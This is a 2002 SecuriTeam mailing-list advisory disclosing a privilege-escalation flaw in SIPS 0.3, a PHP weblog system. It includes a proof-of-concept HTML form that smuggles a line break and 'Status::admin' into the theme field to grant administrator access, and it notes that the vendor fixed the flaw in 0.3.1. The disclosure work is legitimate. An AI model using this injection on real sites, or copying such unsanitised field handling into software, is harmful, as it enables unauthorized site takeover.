[UNIX] SIPS Allows Attackers to Gain Administrative Access

From: support@securiteam.com
Date: 02/15/02


From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 15 Feb 2002 22:59:31 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  SIPS Allows Attackers to Gain Administrative Access
------------------------------------------------------------------------

SUMMARY

 <http://sourceforge.net/projects/sips/> SIPS (Simple Internet Publishing
System) is an integrated Weblog and link-indexing system written in PHP.
It is aimed at those with access to database-less, PHP-enabled Web servers
who want to run a Weblog site like Slashdot and/or a simple link index
like Yahoo!. A security vulnerability in the product allows attackers to
gain elevated privileges.

DETAILS

Vulnerable systems:
SIPS version 0.3 and prior

Immune systems:
SIPS version 0.3.1

The problem allows users that select a theme, to use it modify their value
Status. Changing the Status value to admin in the database allows gaining
of arbitrary privileges. This can be accomplished by adding a line break
and writing "Status::admin" in the next line. This will cause the user to
be recognized as an administrator giving him complete control over the
site.

Example:
<form action="http://www.example.com/sips/htdocs/preferences.php"
method="post">
<input type="hidden" name="op" value="theme">
<input type="hidden" name="action" value="settheme">
<select name="themename">
<option value="default
Status::admin
">Exploited</option>
</select>
<input type="submit" value="Set Theme"></form>

Here we submit a theme with the value of:

Default -line break
Status::admin -line break (SIPS chops the theme input).

This will change an account from something like this:

bash-2.03$ cat user
Password::660120d6fbc1sn241be39290636b2942
Email::b0iler@example.com
Theme::default
Timezone::Greenwich Mean

To something like this:

bash-2.03$ cat user
Password::660120d6fbc1sn241be39290636b2942
Email::b0iler@example.com
Timezone::Greenwich Mean
Theme::default
Status::admin

The Status::admin allows you to use:
http://www.example.com/sips/htdocs/admin/index.php, which will give you
total control over SIPS (pretty much the whole site).

Vendor status:
The author was contacted on 2/1/02 and replied the same day. Author
updated to version 0.3.1 on 2/8/02 and wrote a very nice page detailing
the problem and possible solutions:
<http://sips.sourceforge.net/adminvul.html>
http://sips.sourceforge.net/adminvul.html

ADDITIONAL INFORMATION

The information has been provided by <mailto:b0iler@hotmail.com> b0iler
_.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NEWS] SpiDynamics WebInspect Keeps Track of Its Users (Trial License)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WebInspect, S.P.I. Dynamic's premier product, is a network-based web ... We make no effort to hide that this remote authentication is done. ...
    (Securiteam)
  • [NT] DoS and Directory Traversal Vulnerabilities in WebServer 4 Everyone
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... requests and to allow attackers to download files that reside the outside ...
    (Securiteam)
  • [NT] WebEasyMail Multiple Security Vulnerabilities (User disclosure, DoS)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... to reveal which username are valid on the remote host. ...
    (Securiteam)
  • [UNIX] Multiple Security Issues in Geeklog (XSS, SQL Inject)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... the vulnerabilities would allow a remote attacker to ... SQL Injection: ...
    (Securiteam)
  • [UNIX] DCP-Portal Cross-Site Scripting
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A security vulnerability in the product allows ... the members page, this CSS vulnerability will take effect. ...
    (Securiteam)